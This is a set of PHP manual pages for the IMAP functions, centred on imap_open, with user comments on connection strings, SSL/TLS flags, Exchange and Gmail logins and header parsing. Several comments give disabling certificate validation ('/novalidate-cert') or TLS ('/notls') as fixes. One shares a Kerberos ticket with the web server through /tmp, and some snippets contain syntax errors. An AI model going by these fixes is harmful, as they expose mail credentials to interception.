david at brayworth dot com dot au 10-May-2011 05:28
I managed to use this function against Exchange 2010 without recompiling to disable kerberos

It's important to me that php installs per the standard package (yum install php)

Exchange 2010 triggers kerberos in php, and you require the kinit thing (search around google for "imap_open kinit exchange 2010" and you will find this)

To get it working I had to:
1. setup the krb5.conf file correctly
2. do a kinit username@DOMAIN.DOM with a valid username / password
3. rename the ticket file to reflect the user id of apache (usually 48)
   /tmp/krb5cc_48
4. fix ownership
   chown apache.apache /tmp/krb5cc_48

but the exchange server will use the kerberos ticket and not the username password - unless you use ssl

<?php

    $imap_user = "username";
    $imap_pass = "password";
    $imap_server = "{w2010kExchangeServer:993/novalidate-cert/ssl}";

    $mbox = imap_open("{$imap_server}INBOX", $imap_user, $imap_pass);

    $sorted_mbox = imap_sort($mbox, SORTDATE, 0);
    $totalrows = imap_num_msg($mbox);
    print "$imap_server\n";

    $startvalue = 0;
    while ($startvalue < $totalrows) {

        $headers = imap_fetchheader($mbox, $sorted_mbox[ $startvalue ] );
        $subject = array();
        preg_match_all('/^Subject: (.*)/m', $headers, $subject);
        print $subject[1][0] . "\n";

        $startvalue++;
    }
?>

One small step for php / exchange, one Giant leap for David  ....
ph at hotmail dot fr 02-May-2011 01:05
For those having issues with Gmail (my problem was : "too many login failures" on a webserver, but no problem on localhost..), instead of opening with :

$inbox = imap_open($hostname,$username,$password,NULL,1) or die('Cannot connect to Gmail: ' . imap_last_error());

Use :

$inbox = imap_open($hostname,$username,$password,NULL,1) or die('Cannot connect to Gmail: ' . print_r(imap_errors()));

You will be able to see the full list of errors that happened, and hopefully it will guide you to an answer.
In my case, Google wanted me to unlock my account by typing in a captcha. But this error wasn't clearly shown through imap_last_error().

Cheers,
PH
guilherme dot geronimo at gmail dot com 09-Nov-2010 05:23
Using:
<?php
imap_open( "{server.example.com:143}INBOX" , 'login' , 'password' );
?>

Got this error:
"Couldn't open stream {server.example.com:143}INBOX"

Solved by adding the flag "novalidate-cert":
<?php
imap_open( "{server.example.com:143/novalidate-cert}INBOX" , 'login' , 'password' );
?>

=D
egoman69 at hotmail 07-Sep-2010 12:32
"Couldn't open stream {127.0.0.1:143/imap/notls}INBOX"

Solved by only replacing 127.0.0.1 with localhost, php and IMAP server both in same machine, not through Proxy or anything. Weird!
Nohado 25-Aug-2010 11:34
if u ever get something like this:

Notice: Unknown: IMAP protocol error: Invalid system flag in Store command (errflg=2) in Unknown on line 0

Notice: Unknown: Invalid system flag in Store command (errflg=2) in Unknown on line 0

This Error occurs if u want to set a flag 2 times. Just check ur manually flag Settings.

Cheers,
Nohado
anthony2009 at ns dot sympatico dot ca 25-Aug-2010 12:34
<?php
// You can break out the variables for $mailserver, $port, $user and
// $pass without passing brackets into functions this way. Be sure to use
// the dots to append connection strings, ie "stuff". $variable ."STUFF"
// otherwise will go to imap_open with wrong variable type. :)

$mailserver="mail.example.com";
$port="110/pop3";
$user="aj";
$pass="remax01";

if ($mbox=imap_open( "{" . $mailserver . ":" . $port . "}INBOX", $user, $pass ))
 {  echo "Connected\n";

    $check = imap_mailboxmsginfo($mbox);

    echo "Date: "     . $check->Date    . "<br />\n" ;
    echo "Driver: "   . $check->Driver  . "<br />\n" ;
    echo "Unread: "   . $check->Unread  . "<br />\n" ;
    echo "Size: "     . $check->Size    . "<br />\n" ;

    imap_close($mbox);
 } else { exit ("Can't connect: " . imap_last_error() ."\n");  echo "FAIL!\n";  };
?>
oz49erfan 02-Mar-2010 07:39
Make sure your PHP is enabled with imap via the phpinfo() function

'--with-imap-dir=/opt/lampp' '--with-imap-ssl' '--with-imap=/opt/lampp'

and

IMAP c-Client Version 2007e
SSL Support Yes

I noticed that my apache script was working but my cli script was not. Turns out my php cli executable didn't have imap setup so I had to use another php cli executable.
kay at rrr dot de 31-Jan-2010 08:16
imap_open is very simple to use, but struggles a litte bit on setups with ssl and tls.

this are tested examples for different hosts and protocols.

uncomment the host/protocol line and fill in correct username and password.

Kay

<?php

#######
# localhost pop3 with and without ssl
# $authhost="{localhost:995/pop3/ssl/novalidate-cert}";
# $authhost="{localhost:110/pop3/notls}";

# localhost imap with and without ssl
# $authhost="{localhost:993/imap/ssl/novalidate-cert}";
# $authhost="{localhost:143/imap/notls}";
# $user="localuser";

# localhost nntp with and without ssl
# you have to specify an existing group, control.cancel should exist
# $authhost="{localhost:563/nntp/ssl/novalidate-cert}control.cancel";
# $authhost="{localhost:119/nntp/notls}control.cancel";

######
# web.de pop3 without ssl
# $authhost="{pop3.web.de:110/pop3/notls}";
# $user="kay.marquardt@web.de";

#########
# goggle with pop3 or imap
# $authhost="{pop.gmail.com:995/pop3/ssl/novalidate-cert}";
# $authhost="{imap.gmail.com:993/imap/ssl/novalidate-cert}";
# $user="username@gmail.com";

$user="username like above";
$pass="yourpass";

if ($mbox=imap_open( $authhost, $user, $pass ))
        {
         echo "<h1>Connected</h1>\n";
         imap_close($mbox);
        } else
        {
         echo "<h1>FAIL!</h1>\n";
        }

?>
mightycpa 03-Jul-2009 10:45
My script kept on timing out, even though the syntax was spot on... ultimately, I figured out that the port was blocked by my webhost, where I ran this on a shared server...

I post this just in case you miss this obvious, like I did.
bjtjong at home dot nl 09-Dec-2008 01:50
To open an email message (*.eml) stored on disk you should add at the start of the message the following line:

From dummy@localhost  Sat Jan  1 00:00:00 1970

Then with imap_open("path/file.eml","","") you can process the email message as usal
Jason Pires 25-Apr-2008 10:56
Dears.
In my case, e-mail host was the IMAP enabled.
So, just use the imap_open as the very simple form like:

$mailbox = "{mail.myhost.com:143/notls}INBOX";
$user = "me@myhost.com";
$pass = "mypassword";

$connection = imap_open($mailbox,$user,$pass) or die(imap_last_error()."<br>Connection Faliure!");

thanks!
Binit 11-Apr-2008 02:39
I was trying imap_open() function but I was continuously getting this error:

Array ( [0] => [CLOSED] IMAP connection broken (server response) )

I was finally able to solve this problem (which is a very common problem as I saw it on the net but could not find any solution to it) so I'm posting my solution here which I hope will be useful to others.

I used stunnel program (http://www.stunnel.org/) and made changes in the stunnel.conf file as follows:

I added these lines:
[imapsClient]
accept = localhost:143
connect  = imapserver:993
client = yes
sslVersion = TLSv1

This will map insecure imap connection from localhost:143 to imapserver:993 (IMAP with SSL).

After this I tried this code and it worked fine:

<?php

$user="";
$pass="";
$imap = @imap_open("{localhost:143}INBOX", $user, $pass);
?>

and I was able to do away with the errors.

A more detailed post about it can be found here:
http://www.phpfreaks.com/forums/index.php/topic,190628.0.html
itstooloud 31-Oct-2007 11:50
Works with Gmail's new IMAP function for personal and for Google Apps.

$mbox = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", "username@gmail.com", "password")
     or die("can't connect: " . imap_last_error());
askalski at synacor dot com 27-Sep-2007 08:50
By default, imap_open() will retry an incorrect password 3 times before giving up.  This is a feature built into the c-client library intended for interactive mail clients (which can prompt the end user for a new username/password combo.)

The new optional parameter "$n_retries" allows PHP to override the default retry limit.  There is absolutely no reason to leave this at default, or to set it to any value other than 1.  This is especially important if the mail server you're using locks users out after too many login failures.
bow+php dot net at virtual-habitat dot net 08-Sep-2007 08:06
Setting a mailbox name (eg INBOX) at the end of the connection string does not work when using imap_open() with OP_HALFOPEN. You may use imap_reopen() then.

<?php

/* this will fail : */
$connection = imap_open('{mx.example.net}INBOX', 'foo', 'secret', OP_HALFOPEN.);
$num_mgs = imap_num_msg($connection);
imap_close($connection);

/* this will do : */
$connection = imap_open('{mx.example.net}INBOX', 'foo', 'secret', OP_HALFOPEN.);
imap_reopen($connection, '{mx.example.net}INBOX');
$num_mgs = imap_num_msg($connection);
imap_close($connection);

?>
gyokimae 10-May-2007 11:11
Beginning with 5.2.2, binaries built for Windows also seem to have changed its default behavior.
'/notls' needs to be specified for a non-SSL connection.
Fladnag 27-Feb-2007 01:08
you can avoid this message :

Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0

by specified the option OP_SILENT to imap_open.
Amit 11-Sep-2006 10:25
None of the above comments explain the configuration issues on Apache/Windows combination. I thought it might be helpful to list my findings here so that Windows people's time is saved.

There is a bug in Windows php_imap.dll that prevents it from connecting it to the SSL IMAP/POP3 server.

http://bugs.php.net/bug.php?id=36496&edit=1
shaikh_zaid at yahoo dot com 04-Apr-2006 11:55
imap_open will not open a stream if your server operates with Transport Layer Security (i.e. TLS) imap_open connects with SSL if its there. So try opening mailbox as

$mailbox="{mail.domain.com:143/imap/notls}";
or
$mailbox="{mail.domain.com:110/pop3/notls}"; This works...

Some mail server requires you to provide username@domain.com so you can always use. user@doamin.com

$conn=imap_open($mailbox, $username, $password);

Some server may ask for username as "user=user@domain.com"

:)
admin at sellchain dot com 08-Dec-2005 08:36
Looking for a cool PHP Script to help you connect to a POP3 server, and download E-Mail to MySQL? Check out my neet-skeet script I wrote. Have fun.

Http://www.sellchain.com/phPOP3/phPOP3.txt

Download the above TXT file, and rename it to phPOP3.php.

Trust me, you will learn mostly everything about IMAP with this script.

By the way, be sure to use print_r($headers) to discover the headers that come with each message. You can setup your MySQL + Email Account information at the top of the script. No includes required!

Enjoyz;)
02-Aug-2005 07:13
WHen you use the /ssl connection...  half open doesnt work...!

what i did was opened it up with the .com:143/pop3}, op_halfopen

when i was getting my folders...
avizion at relay dot dk 12-May-2005 03:30
For FreeBSD users...

If you want to have SSL support, you want to install the ports:

mail/php5-imap
security/php5-openssl

Cheers :)

 - avizion
m dot stoel at cyberkinetic dot nl 27-Apr-2005 10:50
a little tip for those who get really frustrated even after reading all the right solutions and implementing them but still get the same errors or none at all..:
after having changed the code.. restart the httpd deamon..

for Fedora or any other Red Hat Linux OS (/etc/init.d/httpd restart).

After this you will be able to make a imap/pop3 stream from apache..
thushara dot perera at unilink dot lk 25-Feb-2005 09:19
Warning: imap_open() [function.imap-open]: Couldn't open stream {xx.xx.x.xxx:143}INBOX

correct the connection string as :
{xx.xx.x.xxx:143/notls}INBOX
info at infosoporte.com 24-Feb-2005 06:14
I can connect to my email server with no problem using regular usernames and passwords but.... in my server the usernames are long.. like name.surname1.surname2@subdomain.domain.com , and i get an error when the username size is over 40 chars:

$conn = imap_open("{". $server . ":110/pop3}", $username, $user_password) or die ("Failed with error: ".imap_last_error());

returns

Too many login failures

when the username is over 40 chars. Just remember that if you plan to use long usernames.
elizar.palad 13-Dec-2004 10:22
thanks to the one who added that the login part should be the whole email address for it to work.. (assuming of course that all other stuff is good and working ;)

to add something, in the 'email address' login name, is not really the email address, ,it's the pop login name plus '@' plus the domain.. hope it's not confusing...

poploginname@domain.com

not

emailaddress@domain.com..
gasaunde at vcu dot edu 13-Dec-2004 11:35
I've found that on my servers I _must_ use imap_errors() and imap_alerts() after an imap_open or this error is thrown in the logs when the mailbox is empty: [error] PHP Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0
cg at compile dot ch 20-Sep-2004 05:16
If you use cyrus, passwords shadow via saslauth, check this:

> =====IMAPD.conf======
> configdirectory:        /var/imap
> partition-default:      /var/spool/imap
> sievedir:               /var/imap/sieve
> tls_cert_file:          /etc/cyrusimapd/server.crt
> tls_key_file:           /etc/cyrusimapd/server.key
> admins:                 cyrus
> hashimapspool:          yes
> allowanonymouslogin:    no
> allowplaintext:         yes
> unixhierarchysep:       0
> servername:             mail.garage.com
> sasl_pwcheck_method:    saslauthd
> mech_list: plain login

Make this

sasl_mech_list: plain login
liamr at umich dot edu 29-Jun-2004 04:40
To authenticate using kerberos V / GSSAPI, you might need to add "user=" to the connection string.. eg:

$mbox = imap_open( "\{imap.example.com:143/imap/notls/user=" . $user . "}INBOX", $user, $passwd );

Our IMAP servers won't allow a user other than the user specified in the kerberos credentials connect using those credentials unless you specify that extra "user=" in the connection string.  Passing it as an argument to imap_open() doesn't seem to be enough.
nmmm at nmmm dot nu 22-Jun-2004 10:37
To open local mailbox ( mbox ) enter its absolute file name.

>an absolute filename
>This specifies a mailbox in the default format (usually >Berkeley format for most default library builds)

source:
http://aspn.activestate.com/ASPN/CodeDoc/Mail-Cclient/Cclient.html
rvarkelen AT hortimax.nl 14-Jan-2004 03:03
In order to make a IMAP connection to a Microsoft Exchange Server 5.5, I used this connection-string :

<?php
if(imap_open ("{192.168.1.6:143/imap}Inbox", "DOMAIN/USERNAME/ALIAS", "PASSWORD"))
{
    echo 'Connection success!';
}
else
{
    echo 'Connection failed';
}
?>

By replacing "Inbox" with, e.g. "Tasks", its possible to see all your tasks. I Hope this helps anybody!

Regards
marshall /AT\ pacdemon.org 03-Nov-2003 11:50
Thanks for all your comments.  The user comments have saved me countless times.

I'd like to give back in my small way by providing this little tip.  To test your pop or imap services you can use telnet (almost all operating systems should come with a command line telnet client).

Here's the pop3 example (the lines that start with + are the server's response):

    telnet your.pop.host.com 110
    +OK POP3 your.pop.host.com v2001.78 server ready
    user your_username
    +OK User name accepted, password please
    pass your_password
    +OK Mailbox open, 23 messages

Note that your pop server may be on some other port than 110 but that is the default/standard.

Here's the imap example (Lines that have OK near the begining are server responses):

    telnet your.imap.host.com 143
    * OK [CAPABILITY IMAP4REV1...]
    1 LOGIN "your_username" "your_password"
    1 OK [CAPABILITY...] ... User your_username authenticated

This might be old news to some people but I hope it's helpful for many.
marshall /at/ sprux net 18-Aug-2003 04:44
I only run imap on port 993 (ssl only) and I was unable to use imap_open().. couldn't even get an error out of the script, it just sat there and timed out with no messages in the logs or anything--the page wouldn't load.

Anyway, this is what finally worked, which I found in the readme for a popular opensource webmail system:

$i = @imap_open("{localhost:993/ssl/novalidate-cert}INBOX", $user, $pw);

I didn't see the 'ssl' option mentioned anywhere in these comments so maybe this will help someone out.
Kyle Putnam 14-Jun-2003 04:52
I was getting bizzare errors that I couldn't find documentation about anywhere on Google. I tried connecting to another server and got different, but just as unusual error messages. I even checked the POP3 server logs and it said something about invalid command... I figured it was another libc problem.

Stupidly enough, the problem was that I was using an unset variable for the password! Make sure you don't have an empty username or password... you'll have a hard time debugging the problem ;)
stefan dot greifeneder at dioezese-linz dot at 08-May-2003 06:10
Had problems to use imap_open with iMail 6.06 Server. My problem was (sounds stupid): Didn't realise that the username had to be the full email address and not just the login. Maybe this helps some people.
bill dot mccoy at pictureiq dot com 23-Apr-2003 07:29
"notls" seems to be required for PHP on RedHat 8.0, but it seems that "/norsh" is also advisable; without it, the client library will attempt an RSH connection and wait for this to timeout before reverting to normal IMAP. This was causing a 15 second delay in imap_open for me. Looking at the client lib C code this will likely be an issue on other platforms as well as they update to the newer version. You can use both "/notls" and "/norsh", e.g. the first parameter to imap_open can be something like: "{your.imap.host/imap/notls/norsh}".
kaper at nexgc dot com 08-Apr-2003 09:17
I had been having lots of trouble trying to get imap_open to connect to an imap server.  Then I found another post online that suggested this and it worked, so I am going to post it here.  I hope this helps others..

"I have tried with the following strings instead and it works:

for pop3: {www.server.com:110/pop3/notls}INBOX

and for imap: {www.server.com:143/notls}INBOX.
xore at hotmail dot com 02-Apr-2003 04:37
pop3 seems to like refusing connection if you have OP_READONLY set

testers: be forewarned :P
madsiuk at morellos dot net 27-Feb-2003 07:35
hi
  Note for all having problems to connect hosts using imap_open:

  I spent almost week trying to fix my script which was connecting to localhost but was unable to connect any other host. Sollution was actually wery simple but I'm writing that note becouse there are some posts at usenet or forums decribing similiar problems. And actually I haven't found any  answer for that. So for all of you trying to connect to hosts with imap_open CHECK IF THERE IS NO FIREWALL BLOCKING POP3.

madsiuk
russell at flora dot ca 08-Jan-2003 03:07
Note about "PHP Warning:  Certificate failure"

I'm not sure if this is a RedHat, PHP, or IMAP library issue, but the default for SSL seems to have changed.

You now need to specify "/notls" when you don't want TLS, rather than only needing to specify "/ssl" when you do.

Example:

"{localhost:143}INBOX"

becomes:

"{localhost:143/notls}INBOX"
jpdalbec at ccNO dot ysuSPAM dot edu 17-Jun-2002 11:27
I ran into the
PHP Warning:  Certificate failure for <server>: self signed certificate:
message while upgrading 4.0.6->4.1.2.  I'm pleased to report that {<server>:<port>/imap/tls/novalidate-cert}<mailbox>
works as expected (and fixes my problem).  I'm using IMP 2.2.8.
fxbois at free dot fr 05-Jun-2002 11:07
Hi,
I just want to say to all redhat people who have problem (Couldn't open stream) with the connection on the local pop server to use this :
{127.0.0.1:110/pop3/notls}INBOX
hope this help
frederik at roal dot no 17-Apr-2002 09:02
For all imap functions where you specify the mailbox string it is important that you ALWAYS use IP (not hostname) and the portnumber. If you do not do this imap functions will be painfully slow.
Using hostname instead of IP adds 3 seconds to each IMAP call, not using portnumber adds 10 seconds to each imap call. (hint: use gethostbyname() )
brojann at netscape dot com 30-Oct-2001 02:01
You can do

<? $foo = imap_errors(); ?>

to clear unwanted warning messages like 'Mailbox is empty'
jdg11 at po dot cwru dot edu 13-Aug-2001 03:41
It would be nice to mention that this function does send headers. It makes sense, but it is not obvious. It took me a while to figure it out. I authenticate against a POP3 server, and set a cookie if the authentication validates. At least I wanted to :) But since it sends a header to the server, setcookie() won't work.
curtis at lamere dot net 26-Jun-2001 04:16
I have found that the syntax for the imap_open command in PHP 4 differs whether you're passing a variable to the imap_open function or declaring the host directly within the function.  If you are passing variables to the imap_open function, the syntax should look like:

$username = "user";
$password = "password";
$mailserver = "mail.somedomina.com:110/imap";

$link = imap_open("\{$mailserver}INBOX",$username,$password);

If you don't include the leading backslash (\) you will not open the stream.  Likewise you cannot pass the curly braces to the function.

If you define the server directly, omit the leading backslash.

$username = "user";
$password = "password";

$link = imap_open("{mail.somedomain.com:110/pop3}",$username,$password)"

I discovered all of this after 3 days of trying to get all of this work on redhat 7.1.
23-May-2001 10:23
A better way to connect to a mail server would be to use uri syntax, for example:

imap://username:password@server.com:143/INBOX/message/part

this is very easy to parse using 'parse_url()'

Remember to keep your username and password hidden if your over an open network
fferreres at joydivision dot com dot ar 29-Mar-2001 07:12
IMAP, POP and NNTP are ok. But plaintext mailboxes are unmentioned here. You just forget the {part} and go for the file (tested on unix):

$mbox = imap_open ($a_mail_box_file_name_in_home_dir, "", "") || die("Snif...:
".imap_last_error());
kvance at n-link dot net 09-Mar-2001 01:34
Connections to the IMAP server work without specifying the port number, but they are slow, so specifying the port number is important if you don't want a slow application.
bandpay at hotmail dot com 04-Dec-2000 12:59
I have a single comment to add about imap_open.
If you want to connect to a news server, without specifying any news gruop, you can use the following:

<?php
$server = "{news.servername.com/nntp:119}";
$nntp = imap_open($server,"","",OP_HALFOPEN);
?>

and $nntp will become the connection ID.

Regards
//Babak
imap_num_recent
imap_ping
IMAP Functions


Check if the IMAP stream is still active

imap_open
imap_qprint
IMAP Functions
PHP Manual

imap_ping

(PHP 4, PHP 5)

imap_ping — Check if the IMAP stream is still active

Description

bool imap_ping ( resource $imap_stream )

imap_ping() pings the stream to see if it's still active. It may discover new mail; this is the preferred method for a periodic "new mail check" as well as a "keep alive" for servers which have inactivity timeout.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns TRUE if the stream is still alive, FALSE otherwise.

Examples

Example #1 imap_ping() Example

<?php

$imap = imap_open("{imap.example.org}", "mailadmin", "password");

// after some sleeping
if (!imap_ping($imap)) {
    // do some stuff to reconnect
}

?>

User Contributed Notes

27-Dec-2002 04:28
This is a great solution for a webmail class if you want to make sure that a user is still logged in. Example:

<?php
if(!(imap_ping($stream)) {
die("The user is no longer logged in.");
?>
imap_open
imap_qprint
IMAP Functions


Convert a quoted-printable string to an 8 bit string

imap_ping
imap_rename
IMAP Functions
PHP Manual

imap_qprint

(PHP 4, PHP 5)

imap_qprint — Convert a quoted-printable string to an 8 bit string

Description

string imap_qprint ( string $string )

Convert a quoted-printable string to an 8 bit string according to » RFC2045, section 6.7.

Parameters

string

A quoted-printable string

Return Values

Returns an 8 bits string.

See Also

  • imap_8bit() - Convert an 8bit string to a quoted-printable string

User Contributed Notes

wese at gmx dot at 11-Nov-2008 06:52
I just got rid of the loops using a regex.

<?php
function decode_qprint($str) {
    $str = preg_replace("/\=([A-F][A-F0-9])/","%$1",$str);
    $str = urldecode($str);
    $str = utf8_encode($str);
    return $str;
}
?>

Thanks for sharing!
tonitester at gmx dot net 27-Mar-2007 06:35
If you don't have access to the imap_qprint function and you have to encode URL Decoded and Quoted Printable Strings you receive by Mail try this simple function. But if you don't receive URL Decoded data and the string doesn't contain an = you better use http://www.php.net/manual/en/function.quoted-printable-decode.php

function decode_qprint($str){
$arr= array("A","B","C","D","E","F");
while (list(, $var) = each($arr)) {
    $i=0;
    while ($i <=9){
        $str=str_replace("=".$var.$i,"%".$var.$i,$str);
        $i++;}
    $arr2 = array("A","B","C","D","E","F");
    while (list(, $val) = each($arr2)) {
        $str=str_replace("=".$var.$val,"%".$var.$val,$str);}}
$str = urldecode($str);
$str = utf8_encode($str);
return $str;}

$s2d='=F6=D6=DF=C4=E4=DC=FC=A9=AE';
$2s2d='%F6';

$output = decode_qprint($s2d);
$output2 = decode_qprint($2s2d);

echo $output;
echo $output2;
bletous at yahoo dot fr 27-Aug-2005 05:55
Some mails are encoded in bad quoted printable format:
I use this function to decode the qprint:

for($i=0;$i<256;$i++)
    {
    $c1=dechex($i);
    if(strlen($c1)==1){$c1="0".$c1;}
    $c1="=".$c1;
    $myqprinta[]=$c1;
    $myqprintb[]=chr($i);
    }

function decode($data,$code)
{
if(!$code){return imap_utf7_decode($data);}
if($code==0){return imap_utf7_decode($data);}
if($code==1){return imap_utf8($data);}
if($code==2){return ($data);}
if($code==3){return imap_base64($data);}
if($code==4){return imap_qprint(str_replace($myqprinta,$myqprintb,($data)));}
if($code==5){return ($data);}

}
jdr 16-Jul-2003 09:28
$subject=utf8_decode(imap_utf8($subject));

works instead of imap_qprint on php 4.2.0 (win32)
bernard at bmpsystems dot com 26-Feb-2000 12:35
This function seems to have a bug, when the quoted-printable string contains a "=" without the HEX code of a Character.
I use the regular quoted_printable_decode instead.
imap_ping
imap_rename
IMAP Functions


Alias of imap_renamemailbox

imap_qprint
imap_renamemailbox
IMAP Functions
PHP Manual

imap_rename

(PHP 4, PHP 5)

imap_rename — Alias of imap_renamemailbox()

Description

This function is an alias of: imap_renamemailbox().

User Contributed Notes

There are no user contributed notes for this page.
imap_qprint
imap_renamemailbox
IMAP Functions


Rename an old mailbox to new mailbox

imap_rename
imap_reopen
IMAP Functions
PHP Manual

imap_renamemailbox

(PHP 4, PHP 5)

imap_renamemailbox — Rename an old mailbox to new mailbox

Description

bool imap_renamemailbox ( resource $imap_stream , string $old_mbox , string $new_mbox )

This function renames on old mailbox to new mailbox (see imap_open() for the format of mbox names).

Parameters

imap_stream

An IMAP stream returned by imap_open().

old_mbox

The old mailbox name, see imap_open() for more information

new_mbox

The new mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_createmailbox() - Create a new mailbox
  • imap_deletemailbox() - Delete a mailbox

User Contributed Notes

Christoffer Lindahl 12-Oct-2010 10:27
Don't forget that you can't be connected to the mailbox that you are going to rename (or delete).

If you have the following mailboxes:
INBOX
INBOX.Foo

...and want to rename "INBOX.Foo" to "INBOX.Bar" you have to be connected to "INBOX":

<?php
$mbox = imap_open('{imap.example.com}INBOX', 'username', 'password');
imap_renamemailbox($mbox, '{imap.example.com}INBOX.Foo', '{imap.example.com}INBOX.Bar');
imap_close($mbox);
?>
josh at paducahwebpublishing dot com 03-Mar-2000 12:13
Don't let "...string old_mbox, string new_mbox);" fool you. You have to add the server and port to the mailbox name also. So it would be something like:

imap_renamemailbox($mailbox, "{localhost:143}$oldfolder", "{localhost:143}$newfolder")

Just thought I would point it out, it took me a while to figure it out.
imap_rename
imap_reopen
IMAP Functions


Reopen IMAP stream to new mailbox

imap_renamemailbox
imap_rfc822_parse_adrlist
IMAP Functions
PHP Manual

imap_reopen

(PHP 4, PHP 5)

imap_reopen — Reopen IMAP stream to new mailbox

Description

bool imap_reopen ( resource $imap_stream , string $mailbox [, int $options = 0 [, int $n_retries = 0 ]] )

Reopens the specified stream to a new mailbox on an IMAP or NNTP server.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

options

The options are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only
  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)
  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.
  • OP_EXPUNGE - Silently expunge recycle stream
  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())

n_retries

Number of maximum connect attempts

Return Values

Returns TRUE if the stream is reopened, FALSE otherwise.

Changelog

Version | Description
5.2.0 | n_retries added

Examples

Example #1 imap_reopen() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
// ...
imap_reopen($mbox, "{imap.example.org:143}INBOX.Sent") or die(implode(", ", imap_errors()));
// ..
?>

User Contributed Notes

There are no user contributed notes for this page.
imap_renamemailbox
imap_rfc822_parse_adrlist
IMAP Functions


Parses an address string

imap_reopen
imap_rfc822_parse_headers
IMAP Functions
PHP Manual

imap_rfc822_parse_adrlist

(PHP 4, PHP 5)

imap_rfc822_parse_adrlist — Parses an address string

Description

array imap_rfc822_parse_adrlist ( string $address , string $default_host )

Parses the address string as defined in » RFC2822 and for each address.

Parameters

address

A string containing addresses

default_host

The default host name

Return Values

Returns an array of objects. The objects properties are:

  • mailbox - the mailbox name (username)
  • host - the host name
  • personal - the personal name
  • adl - at domain source route

Examples

Example #1 imap_rfc822_parse_adrlist() example

<?php

$address_string = "Joe Doe <doe@example.com>, postmaster@example.com, root";
$address_array  = imap_rfc822_parse_adrlist($address_string, "example.com");
if (!is_array($address_array) || count($address_array) < 1) {
    die("something is wrong\n");
}

foreach ($address_array as $id => $val) {
    echo "# $id\n";
    echo "  mailbox : " . $val->mailbox . "\n";
    echo "  host    : " . $val->host . "\n";
    echo "  personal: " . $val->personal . "\n";
    echo "  adl     : " . $val->adl . "\n";
}
?>

The above example will output:

# 0
  mailbox : doe
  host    : example.com
  personal: Joe Doe
  adl     :
# 1
  mailbox : postmaster
  host    : example.com
  personal:
  adl     :
# 2
  mailbox : root
  host    : example.com
  personal:
  adl     :

See Also

  • imap_rfc822_parse_headers() - Parse mail headers from a string

User Contributed Notes

Ian Eiloart 17-Oct-2005 06:50
This function does NOT test the syntax of either the local part, or the host part, it will permit illegal characters on either side.

Note that 'host' refers to the email domain, not actually to any host.

The at domain list is an obsolete addressing method which was available for routing email. RFC2822 says that it must be accepted, but should be ignored in routing.

Note that if an address doesn't contain a personal part, or an "at domain list", that part of the array will be missing.

Although RFC2822 permits consecutive comma separators in a list of email addresses, this function does not. That's probably a bug.

In the following list of examples, #4 uses an "at domain list",  #5 and after are illegal domains, but only the last actually generates an error.

$adds = 'ian eiloart <iane@example.ac.uk>,
        shuf6@example.ac.uk,
        blobby,
        "ian,eiloart"<ian@example.ac.uk>,
        <@example.com:foo@example.ac.uk>,
        foo@#,
        ian@-example.com,
        ian@one@two';
$add_arr = imap_rfc822_parse_adrlist($adds, 'example.com');
var_export ($add_arr);

array (
  0 =>
  class stdClass {
    var $mailbox = 'iane';
    var $host = 'example.ac.uk';
    var $personal = 'ian eiloart';
  },
  1 =>
  class stdClass {
    var $mailbox = 'shuf6';
    var $host = 'example.ac.uk';
  },
  2 =>
  class stdClass {
    var $mailbox = 'blobby';
    var $host = 'example.ac.uk';
  },
  3 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'example.ac.uk';
    var $personal = 'ian,eiloart';
  },
  4 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = 'example.ac.uk';
    var $adl = '@example.com';
  },
  5 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = '#';
  },
  6 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = '-example.com';
  },
  7 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'one';
  },
  8 =>
  class stdClass {
    var $mailbox = 'UNEXPECTED_DATA_AFTER_ADDRESS';
    var $host = '.SYNTAX-ERROR.';
  },
)
Rainer Perske 04-Jan-2005 08:20
Invalid addresses, if detected, set host to '.SYNTAX-ERROR.'; but not all invalid addresses get detected as such, e.g. <.@host.do.main> is considered
valid though a single dot is not a valid local part without using quotation marks.
imap_reopen
imap_rfc822_parse_headers
IMAP Functions


Parse mail headers from a string

imap_rfc822_parse_adrlist
imap_rfc822_write_address
IMAP Functions
PHP Manual

imap_rfc822_parse_headers

(PHP 4, PHP 5)

imap_rfc822_parse_headers — Parse mail headers from a string

Description

object imap_rfc822_parse_headers ( string $headers [, string $defaulthost = "UNKNOWN" ] )

Gets an object of various header elements, similar to imap_header().

Parameters

headers

The parsed headers data

defaulthost

The default host name

Return Values

Returns an object similar to the one returned by imap_header(), except for the flags and other properties that come from the IMAP server.

See Also

  • imap_rfc822_parse_adrlist() - Parses an address string

User Contributed Notes

Marco Arment 23-Jul-2010 09:10
This function will cause a PHP Fatal Error if the text you're passing to it overflows a 16 KB buffer internally (SENDBUFLEN in the source).

I haven't looked into it in depth yet, but limiting the input text to less than 16,384 characters still produced this in one error case on our servers, but reducing the boundary to 12,000 fixed it.

Most real-world mail headers are well under 4 KB.
phrank 21-Mar-2009 02:10
This function is marked as internal function by the c-client library and should not be used by php directly.

Please be aware that the result will always contain fields that have not been set in the message. For example reply_to and sender will always be set even if there is no Reply-To and Sender header fields are defined in the message.
Oliver 15-Apr-2006 05:50
To see the content of the returned object try this code:

   $stream = imap_open($server, $username, $password);
   $header = imap_fetchheader($stream, $uid, FT_UID);
   $obj = imap_rfc822_parse_headers( $header);
   print "<html><head></head><body><pre>\n";
   print_r($obj);
   print "</pre></body></html>";
   imap_close($stream);
Kevin Casper <casperke at gmail dot com> 01-Feb-2005 10:23
I was lightly probing this function's behavoir.

It handles rfc882 fields:

date
subject
message_id
to
from
reply-to
sender         - will generate using 'from' field if not in
                     header
references
in-reply-to
cc

